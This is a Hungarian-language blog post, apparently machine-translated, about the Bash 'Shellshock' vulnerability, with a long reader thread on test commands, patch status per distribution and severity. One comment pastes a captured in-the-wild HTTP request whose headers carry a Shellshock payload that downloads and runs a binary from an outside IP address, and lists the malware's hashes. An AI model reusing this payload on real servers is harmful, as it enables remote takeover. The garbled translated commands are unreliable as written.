Futótűzként fut egyes blogokban, a biztonsági blog de Red Hat a globális változókkal való visszaélés miatt a Bash-ban talált sebezhetőségről. Az eredeti hír szerint:
„… A sebezhetőség annak a ténynek köszönhető, hogy a bash shell meghívása előtt különlegesen kialakított értékekkel rendelkező környezeti változókat lehet létrehozni. Ezek a változók tartalmazhatnak olyan kódot, amelyet a héj meghívásakor hajtanak végre. Ezeknek a kidolgozott változóknak a neve nem számít, csak a tartalmuk. Ennek eredményeként ez a sérülékenység számos összefüggésben kitettPéldául:
- ForceCommand az sshd konfigurációkban korlátozott parancsfuttatási képességek biztosítására szolgál a távoli felhasználók számára. Ez a hiba ennek elkerülésére és önkényes parancsfuttatásra szolgál. Néhány Git és Subversion megvalósítás ilyen korlátozott héjat használ. Az OpenSSH rendszeres használatát ez nem érinti, mivel a felhasználók már hozzáférnek egy konzolhoz.
- A mod_cgi vagy mod_cgid használó Apache kiszolgálót ez érinti, ha a CGI szkripteket bash vagy spawn alszinteken írják. Ezeket az alszinteket implicit módon használja a system / popen a C-ben, az os.system / os.popen a Pythonban, ha a system / exec shell-t használja a PHP-ben (amikor CGI módban fut), és a Perl programban nyissa meg a / system rendszert (ami a parancssortól függ).
- A mod_php-vel futtatott PHP szkripteket ez még akkor sem érinti, ha alszinteket játszanak.
- A DHCP-ügyfelek shell parancsfájlokat hívnak meg a rendszer konfigurálásához, egy potenciálisan rosszindulatú szervertől kapott értékekkel. Ez lehetővé tenné tetszőleges parancsok futtatását általában root felhasználóként a DHCP kliens gépen.
- Különféle démonok és SUID jogosultságokkal rendelkező programok futtathatnak shell parancsfájlokat a felhasználó által beállított / befolyásolt környezeti változó értékekkel, amelyek tetszőleges parancsok végrehajtását teszik lehetővé.
- Bármely más alkalmazás, amely bekapcsol egy shellbe, vagy futtat egy shell szkriptet, mint például a bash használata tolmácsként. A változókat nem exportáló shell szkriptek nem vannak kiszolgáltatva ennek a problémának, még akkor sem, ha nem megbízható tartalmat dolgoznak fel és tárolnak shell változók (balra) és alszintek nyílnak.
... "
Hogyan lehet megtudni, hogy a Bashom érintett-e?
Ennek ismeretében nagyon egyszerű módon megtudhatjuk, hogy minket érint-e ez a biztonsági rés. Sőt, teszteltem az Antergosomon, és láthatóan nincs semmi bajom. Amit tennünk kell, hogy nyissunk egy terminált és tegyük:
env x = '() {:;}; echo sebezhető 'bash -c "visszhang ez egy teszt"
Ha így jön ki, akkor nincs gondunk:
env x = '() {:;}; echo sebezhető 'bash -c "visszhang ez egy teszt" bash: figyelmeztetés: x: a funkciódefiníció figyelmen kívül hagyása kísérlet bash: hiba az `x' függvénydefiníciójának importálásakor ez egy teszt
Ha az eredmény eltér, akkor az előnyben részesített disztribúciók frissítési csatornáit kell használnia, hogy lássa, már telepítették-e a javítást. Tehát tudod 😉
Frissítve: Ez egy munkatárs kimenete az Ubuntu 14:04 használatával:
env x = '() {:;}; echo sebezhető 'bash -c "visszhang ez egy teszt" sérülékeny ez egy teszt
Mint láthatja, eddig sebezhető.
Van Kubuntu 14.04 64-ből, és kapok:
env x = '() {:;}; echo sebezhető 'bash -c "visszhang ez egy teszt"
sebezhető
ez egy teszt
Már frissítettem, de ez nem helyes. Mit kell tenni?
Várja meg, amíg frissülnek. Már az eOS például frissült .. 😀
Milyen furcsa, nekem is van Kubuntu 14.04
$ env x = '() {:;}; echo sebezhető 'bash -c "visszhang ez egy teszt"
bash: figyelmeztetés: x: a funkció meghatározási kísérlet figyelmen kívül hagyása
bash: Hiba az x funkció függvénydefiníciójának importálásakor
ez egy teszt
Hozzáteszem, hogy a "bash" csomag ma letöltött verziója a következő:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
Esetemben a parancs megadásával csak a következőket adja meg nekem a terminálban:
>Egyébként a vicc az, hogy frissítettem a Debian Wheezyt, és ez dobott el.
A Wheezy még mindig sérülékeny a hiba második részével szemben, legalábbis délutánra (UTC -4: 30) a probléma továbbra is a következő volt: /
Most ellenőriztem, hogy a reggeli frissítés alkalmazása után a Slackware, a Debian és a Centos sem érintett, mivel megfelelő frissítést kaptak.
Mi teszi az Ubuntut még mindig sebezhetővé ebben az órában? És mondd, hogy biztonságos: D.
De megpróbálta frissíteni az Ubuntu-t?
A mai frissítéssel ők is kijavították.
OK
A biztonsági szakértők a „Bash” sebezhetőségére figyelmeztetnek, ez nagyobb veszélyt jelenthet a Linux szoftver felhasználói számára, mint a Heartbleed hiba, ahol a „hackerek” kihasználhatják a Bash egyik hibáját, hogy teljes mértékben átvegyék a rendszer irányítását.
Tod Beardsley, a Rapid7 kiberbiztonsági cég mérnöki menedzsere arra figyelmeztetett, hogy a hibát súlyossága miatt 10-re értékelték, ami azt jelenti, hogy a maximális hatással bír, és a kihasználás bonyolultsága, azaz ami viszonylag könnyű a „hacker” támadásokhoz. A biztonsági rés használatával a támadók potenciálisan átvehetik az operációs rendszer irányítását, hozzáférhetnek a bizalmas információkhoz, módosításokat hajthatnak végre stb. ”- mondta Beardsley. "Bárkinek, akinek vannak olyan rendszerei, amelyek elfoglalják a Bash-ot, azonnal alkalmazza a javítást" - tette hozzá.
EZT A SÉRHETŐSÉG ELŐTT, MELY BEMUTATJA A RÉGI ESZKÖZÖT (GNU), ahol Bach található, kényelmesebb lenne, ha a Linux Software megszabadulna a GNU-tól és átállna a BSD eszközre.
PS: Ne CENNÁLJA MEG a véleménynyilvánítás szabadságát, ... nem sértett meg senkit, ... ne törölje az üzenetemet, mint az előző üzenetet, amelyet töröltem!
Ó, kérem, ne vigyék túlzásba. Hogyan utálom azokat az embereket, akik BSD-t használnak, és megvetik a GNU-t, a Linuxot vagy bármi mást ezekből a projektekből.
Veled vagyok, és teljesen igazad van e lyuk súlyosságát illetően.
Ez nem cenzúra, hanem redundancia volt (ugyanazt a megjegyzést tetted a gnome 3.14 bejegyzésében)
«… És a kizsákmányolás KOMPLEXITÁSÁRA„ ALACSONY ”besorolást kapott, ami azt jelenti, hogy viszonylag KÖNNYEN hacker támadásokkal jár»
Észrevehető az inkongruitás?
Hogyan lehet könnyű kihasználni a sérülékenységet, és ugyanakkor "alacsony" a kockázati szintje, mivel használata olyan összetett?
Ez egy olyan hiba, amelyet a találkozótól számított néhány órán belül sikerült megoldani, és amelyhez hasonlóan a szívbemarkoláshoz hasonlóan nem jelentettek kizsákmányolást (ennek persze kevesebb ideje van az ismerkedésre).
Inkább bulvársajtó, mint valódi kockázat.
Nem tűnik fontosnak a @Staff az Ön számára? Most mit mondasz nekem?
GET./.HTTP/1.0
.Felhasználó-ügynök: .Köszönet-Rob
.Süti: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Gazda: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Hivatkozó: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Elfogad:. * / *
$ fájl nginx
nginx: ELF 32 bites LSB futtatható, Intel 80386, 1. verzió (SYSV), statikusan összekapcsolt, GNU / Linux 2.6.18-hoz, lecsupaszítva
$md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Tudod mi ez? Kis veszélyes semmiből ...
A helyzet meglehetősen súlyos, de onnantól kezdve, hogy abbahagyjuk a bash használatát egy BSD opcióhoz, ez már legfeljebb, egyébként a frissítés már megvan, csak a frissítést érintem, és semmi mást.
Most a PD, azt hiszem, inkább kollégám @robet, nem hiszem, hogy itt az adminok elkötelezték magukat az ilyen megjegyzések törlésével, mert igen, mert amióta részt vettem ebben a közösségben, ez az érzésem volt, és remélem, hogy ez így is marad.
Üdvözlet.
Pontosan ugyanazt a megjegyzést tette két különböző bejegyzésre. Ha megpróbálja népszerűsíteni a történet "forrását", sajnálom, ez nem az a hely.
A Bash a Unix-ból (és annak GNU-klónjából) származik. A BSD-alapú rendszerek, mint például az OSX, szintén érintettek, és a Genbeta szerint még nem javították. Hasonlóképpen, a Bash eléréséhez felhasználói fiókra van szükség, akár helyi, akár SSH-n keresztül.
@Személyzet:
1.- A 10. szintű (maximális veszélyszint) besorolásba tartozik a hibák által érintett szolgáltatások mennyisége miatt. A fő megjegyzésben nagyon egyértelművé teszik ezt a tényt, azzal érvelve, hogy a hiba olyan szolgáltatásokat érinthet, mint az apache, az sshd, a suid jogosultsággal rendelkező programok (többek között az xorg).
2.- Alacsony nehézségi fokozatba van besorolva, amikor a megvalósításról van szó, és erre a legjobb példa a @elav által a bejegyzésben elhelyezett sebezhetőségi teszt szkript. Nagyon nehéz megvalósítani, amint láthatja.
Nem látok redundanciát az információkban (csak egy Google-fordítást látok), és ha a probléma elég súlyos, és ahogy ön mondja, már van javítása és megoldása, de erre nem, ez már nem jelent kockázatot, és egy egészen valóságos .
@petercheco / @Yukiteru
Ne értelmezzen félre, azt hiszem egyértelmű, hogy kritikám az a hír, amelyet Robet összekapcsol, és amely az inkongruitásra és nem a redundanciára összpontosít.
Ugyanígy meg kell különböztetnünk a kockázatot és a veszélyt (ez utóbbit nem említem), ezeket általában szinonimaként használjuk, de itt a veszély a hiba károsodási képessége lenne, és kockáztatná annak előfordulásának valószínűségét.
Sajátos esetemben tegnaptól léptem be. Nem levelezőlistákra vagy ilyesmi, hanem asztali disztribúcióra készült! Felemeltem a telefont, és üzenetet küldtem a rendszergazdának a linkkel, és megerősítettem, hogy mindent foltoztam, majd elnézést, de ezek a hírek nem tartanak ébren.
Más fórumokon megemlítik a Bash sebezhetőségét, "a Debian és az Ubuntu által kiadott megoldást", de ma felfedezték, hogy továbbra is létezik sebezhetőség, ezért a megoldás hiányos volt, ezt megemlítik!
Úgy látom, sokan kritizáltak azért az egyszerű tény miatt, hogy megakadályozzam az embereket a sérülékenység súlyosságában - a maximális veszélyesség 10. szintjével minősítve, és megemlítettem a Linux szoftver lehetséges megoldásait az elavult GNU eszköz előtt, ahol a Bash van tárolva - amely tökéletesen a GNU képes lenne cserélje ki a BSD eszközre a Linux szoftverben,… én is használok Linuxot, és szeretem a Linuxot!
Tisztázom, hogy a Bash alapértelmezés szerint nem a BSD-re van telepítve, ez még egy Linux kompatibilitási csomag, amelyet a BSD-be telepíthetünk ... igen! A forrást pedig úgy helyezték el, hogy ellenőrizhessék a híreket, mivel sok felhasználó néha nem hiszi el az üzenetet vagy a megjegyzést.
robet: Ahogy már mondták neked újra és újra, a híreddel ellátott kommentedet már egy bejegyzésbe tetted, nem kell minden hozzászólásodba feltenned.
A bash-on más héjak is használhatók arra az esetre, ha Bash sebezhető lenne. 😉
Robet, tudom, hogy nincs olyan szoftver, amely ötvözi a linux kernelt a BSD felhasználói országgal. A legközelebbi dolog fordítva van, a kBSD + GNU, mint a Gentoo és a Debian. Ezenkívül a GNU (1983) nem nevezhető "régimódi" -nak, ha az a BSD (1977) után következik. Mindketten megosztják unix gyökerüket (de nem a kódot), nem lenne "Linux kompatibilitás", ha a Bash akkor jönne létre, amikor Linus T még gyerek volt.
Uff, a debian tesztelés ebben az időben "sérülékeny", milyen sávunk van ...
Használom a Debian tesztelést, és még ebben az ágban is megkaptuk a bash frissítést
a genbeta szerint van egy másik sebezhetőség is
http://seclists.org/oss-sec/2014/q3/685
a lekérdezésre szolgáló parancs az
env X = '() {(a) => \' sh -c "echo sebezhető"; bash -c "visszhang hiba 2 ki nem javítva"
env X = '() {(a) => \' sh -c "echo sebezhető"; bash -c "echo Ki nem javított 2. hiba" sh: X: 1. sor: szintaktikai hiba váratlan elem közelében "=" sh: X: 1. sor: "" sh: hiba az "X" függvénydefiníciójának importálásakor sh: sebezhető: parancs nem található 2. hiba javítás nélkülugyanaz én.
Ugyanaz itt is. De a poszt eredeti hibáját az (L) Ubuntu 14.04-ben javították
Ahelyett, hogy egy egyszerű visszhang után megpróbálnám végrehajtani egy kiváltságokat igénylő utasítást, "elégtelen jogosultságokat" dobok ... ez a hiba nem fokozza a jogosultságokat? Ha nem fokozza a jogosultságokat, akkor nem olyan veszélyes, mint ahogyan festik.
Igazad van!! két sebezhetőség volt ...
Nekem a Linux Mint 17-ben a második bash frissítés után, amelyet tegnap este tettek az Ubuntu tárolókba, amikor a parancs végrehajtásakor a shell ezt a kimenetet kínálja:
env X = '() {(a) => \' sh -c "echo sebezhető"; bash -c "echo Fail 2 unpatched"
>
A "bassh" verziója, amelyet az előzőek frissítése céljából az Ubuntu tárházaiba tettek:
4.3-7ubuntu1.2
A Debian származtatott rendszereken ezzel a paranccsal ellenőrizheti a telepített verziót:
dpkg -s bash | grep verzió
Mindenesetre tisztázni kell, legalább a Debian, az Ubuntu és a Mint felhasználók számára; Nem szabad túlságosan aggódnod a #! / Bin / sh fejlettel rendelkező szkripteket futtató programok miatt, mert ezeken a disztribúciókon a / bin / sh nem "bash" -nak hívja, hanem a héjhoz "kötőjel" kötődik (a kötőjel :)
A Debian Alchemist Console (kötőjel) egy származtatott POSIX konzol
hamu.
.
Mivel a szkripteket gyorsabban hajtja végre, mint a bash, és kevesebb a függősége
- könyvtárak száma (robusztusabbá téve a szoftverhibák ellen, vagy
hardver), alapértelmezett rendszerkonzolként használják a rendszereken
Debian.
Tehát, legalábbis az Ubuntuban a "bash" -et héjként használják a felhasználói bejelentkezéshez (a root felhasználó számára is). De bármely felhasználó alapértelmezés szerint használhat másik héjat a felhasználó és a gyökérkonzolok (terminálok) számára.
Könnyű ellenőrizni, hogy a shell végrehajtja-e a szkripteket (#! / Bin / sh), a következő parancsok végrehajtásával:
file / bin / sh
(a kimenet / bin / sh: szimbolikus hivatkozás a "kötőjelre") követjük a nyomot megismételve a parancsot
file / bin / dash
(a kimenet a / bin / dash: ELF 64 bites LSB megosztott objektum, x86-64, 1. verzió (SYSV), tehát ez a futtatható fájl.
Ezek egy Linux Mint 17 disztribúció eredményei. Más, nem Ubuntu / Debian alapú disztribúciók esetén eltérőek lehetnek.
Nem nehéz megváltoztatni az alapértelmezett héjat !! akár egy mást is használhat a felhasználók és a root felhasználók számára. Valójában csak telepítenie kell a kívánt héjat, és módosítania kell az alapértelmezettet a "chsh" paranccsal, vagy az / etc / passwd fájl szerkesztésével (bár azok a felhasználók, akik nem ismerik a hiba következményeit a "passwd" fájl szerkesztésekor, Jobb, ha nagyon jól tájékozódnak magukról, és mielőtt szerkesztenék, készítsenek másolatot az eredetiről, ha vissza kell állítani).
Kényelmesebbnek érzem magam a "tcsh" mellett (tcsh is :)
A TENEX C konzol, a Berkeley csh továbbfejlesztett változata
"Csh" az, amit a Mac OS X néhány évvel ezelőtt használt. Ennek van értelme, ha figyelembe vesszük, hogy az Apple operációs rendszerének nagy része FreeBSD-kód. A tegnap olvasottak alapján úgy tűnik, hogy ők is biztosítják a "bash" -t a felhasználói terminálok számára.
Következtetések:
- A leggyakrabban használt disztribúciók javított "bash" verzióit "már terjesztették
- A "bash" 4.3-7ubuntu1.2 és újabb verziók nem tartalmazzák ezeket a hibákat
- Az OS * Linux rendszerben nem kötelező használni a "bash" szót
- Néhány * Linux disztribúció linkeli a #! / Bin / sh szót a "bash" -val
- Vannak alternatívák: hamu, kötőjel, csh, tcsh és még néhány
- Nem nehéz megváltoztatni azt az alapértelmezett héjat, amelyet a rendszer hív egy terminál megnyitásakor
- Kevés kicsi eszköz (router és más) használja a "bash" szót, mert nagyon nagy !!
Most érkezett egy újabb frissítés, amely telepíti a "bash" 4.3-7ubuntu1.3 másik verzióját
Linux Mint 17 és Ubuntu 14.04.1 LTS esetén
Az ArchLinux belépett a bash-4.3.026-1 verzióba
@ Xurxo… .csh a Berkeley-ből? Ez az eszköz a legjobb a Linux szoftverhez.
Azt hiszem, ez a hiba
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
igaz?
És mi lenne a megoldás?
Várja meg, amíg frissítik a csomagot a terjesztőn 😉
A hibát kagylóként keresztelték meg
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
sebezhető
ez egy teszt
Még nincs javítás az Ubuntu Studio 14.04-hez
Javítva az Ubuntu Studio 14.04.1
wisp @ ubuntustudio: ~ $ env x = '() {:;}; echo sebezhető 'bash -c "visszhang ez egy teszt"
bash: figyelmeztetés: x: a funkció meghatározási kísérlet figyelmen kívül hagyása
bash: Hiba az x funkció függvénydefiníciójának importálásakor
ez egy teszt
Valójában ez egy kisebb sebezhetőség, ha téged érint, az az, hogy korábban valamit rosszul csináltál ...
Mivel a root jogosultságokkal futó bash szkriptet soha nem szabad kitenni a felhasználónak. És ha kiváltságok nélkül fut, akkor nincs ilyen felturbózhatóság. Valójában butaság. Sokat ijesztő.
Szerintem is.
Pontosabban, ha több újságot akarunk eladni, vagy több látogatást szeretnénk elérni, ezek a hibák jóak.
De mindig elfelejtik megemlíteni, hogy ahhoz, hogy megsérthessen egy számítógépet ilyen típusú szkriptekkel, először hozzáférnie kell a bash-hoz, majd rootként kell használnia.
személyzet, ha apgi-t használ a cgi-vel, akkor csak tegye be a http fejléceket cookie-ként, vagy utalja be a végrehajtani kívánt funkciót. Még férgek terjesztésére is használták.
és ha valaki egy héjat tesz egy szerverre egy wget mishell.php-vel, akkor ez nem komoly, nem igaz?
Egyetértek veled. Azt hittem, hogy ez egy hatalmas hiba, mint a Heartbleed-ben (még az NSA is kölcsönadta magát a megbetegedések fellendítésére), de végül is ez egy kisebb hiba volt.
Vannak más nagyon komoly hibák, mint például a Flash őrült fogyasztása és a Pepper Flash Player teljesítményének csökkenése, valamint a már javított hiba webRTC hiba a Chrome-ban és a Firefoxban.
Tudja, hogy van-e megállapodás a Linux Mint 16-ot használók számára?
A Debian tesztelésében ez már javítva volt.
Az 5 disztribúciómban ez megoldott, az OS X-en nem tudom.
Kérjük, ne cenzúrázza a megjegyzésemet, azt mondtam, hogy az OS X. Nem tudom, hogy mondhatja-e az OS X-et ezen a webhelyen.
@ yoyo hát ne törődj vele túlságosan, hogy még dolgoznak a javítás egyes részletein ... próbáld ki, majd mondd el, hogy állsz az XD-vel
env x = '() {:;}; echo sebezhető 'bash -c "echo sebezhetőbb vagyok, mint az iphone 6 trash"
Hogy ha 100% -osan megoldották az OS X előtt, akkor fogadok bármit
Nos, még az Ars Technica-ban is a Bash-nek tulajdonítják a relevanciát az OSX-ben.
@Yoyo következő megjegyzés az OS X-ről a SPAM-hez .. lla tu save .. 😛
@ yoyo ott javítani az idézeteket ... de a többit tudod 😉
Az FSF megszólalt
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Mint ahogy az OSX-szel is pártfogoltak (mert az OSX még mindig a Bash-t használja: v).
Egyébként nem kell annyira kavarni Debian Jessie-vel.
Ha a rendszer sebezhető a Cent OS rendszeren:
tiszta minden && yum frissítés bash
a bash verzió megtekintéséhez:
rpm -qa | grep bash
Ha a verzió korábbi, mint a bash-4.1.2-15.el6_5.1, akkor a rendszere sebezhető lehet!
Üdvözlet.
A 2. biztonsági rés még nem oldódott meg
env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "visszhang hiba 2 ki nem javítva"
Frissítés ...
Az ellenkezője történik velem Gentoo-ban, csak az első kudarcnak vagyok kiszolgáltatva, de a másodikkal ezt kapom:
[code] sh: X: 1. sor: szintaktikai hiba váratlan elem közelében = `
sh: X: 1. sor: "
sh: hiba az „X” függvénydefiníció importálásakor
sh: sebezhető: parancs nem található
A 2. hibát nem javították
[/ Code]
Nem tudom, hogy lesz-e már stabil verziója a Bash-nek a hibajavítással, de akárhogy is lesz, a következő alkalomra még várakozással szolgálok egy emerge –sync && emerge –update –deep –bdeps = és –newuse @world (így I. lépés az egész rendszer frissítése).
Van a Gentoo a 4.2_p50 verzióval, és eddig minden tesztet teljesített. Próbálja meg a –sync megjelenését, majd az -av1 app-shells / bash megjelenését, majd a bash –version paranccsal ellenőrizze, hogy rendelkezik-e a 4.2_p50 verzióval.
Próbálta már ezt?
Új csomagokkal pedig egy új tesztet biztosított a Red Hat
cd / tmp; rm -f / tmp / visszhang; env 'x = () {(a) => \' bash -c "visszhang dátum"; macska / tmp / visszhang
ha a rendszerünk nem sérülékeny és helyesen lett foltozva, valami ilyesmit kell adnia nekünk
1 dátum
2 cat: / tmp / echo: A fájl vagy könyvtár nem létezik
Próbálja ki ezt a módot:
env X = '() {(a) => \' sh -c "echo sebezhető"; bash -c "echo Failure 2 patched"
kapok
sebezhető
2. hiba javítva.
Felejtsd el, a vonal rosszul van formázva.
Kiváló! A Slackware-en már elvégeztem a frissítést, köszönöm!
Szia, kérdés merül fel, több szerverem van 10 bites "SUSE Linux Enterprise Server 64" -vel.
Amikor végrehajtom a parancsokat, sebezhető vagyok, még sebezhetőbb vagyok, mint az iPhone 6 xD kukája
Ha nem tévedek, a csomagok frissítése / telepítése a SUSE-ban a «zypper» paranccsal történik.
Néhány szerveren ezt mondja nekem:
BIAL: ~ # cipzár fel
-bash: zypper: a parancs nem található
BIAL: ~ #
És másokban ez:
SMB: ~ # zipper fel
Rendszerforrások visszaállítása…
A SUSE Linux Enterprise Server 10 SP2-20100319-161944 metaadatainak elemzése ...
RPM-adatbázis elemzése ...
Összefoglaló:
Nincs mit tenni.
Mit csinálok?
Tudom, hogy egyesek szerint a sebezhetőség kisebb, mint amit festenek, de nekem megvan, és nem akarom, hogy kockázatnak legyen kitéve, legyen az kicsi vagy nagy.
Üdvözlet.
Jó éjszakát, megpróbáltam beilleszteni a kódot, amelyet a cikkben megadott, értem
csiszológépek @ pc-csiszolók: ~ $ env x = '() {:;}; echo sebezhető 'bash -c "visszhang ez egy teszt"
ez egy teszt
csiszolók @ pc-csiszolók: ~ $
Kérem, magyarázza el, hogyan kell javítani a terjesztést, naponta frissítem, és nem látok változásokat a gyors kimenetben.
Köszönöm szépen!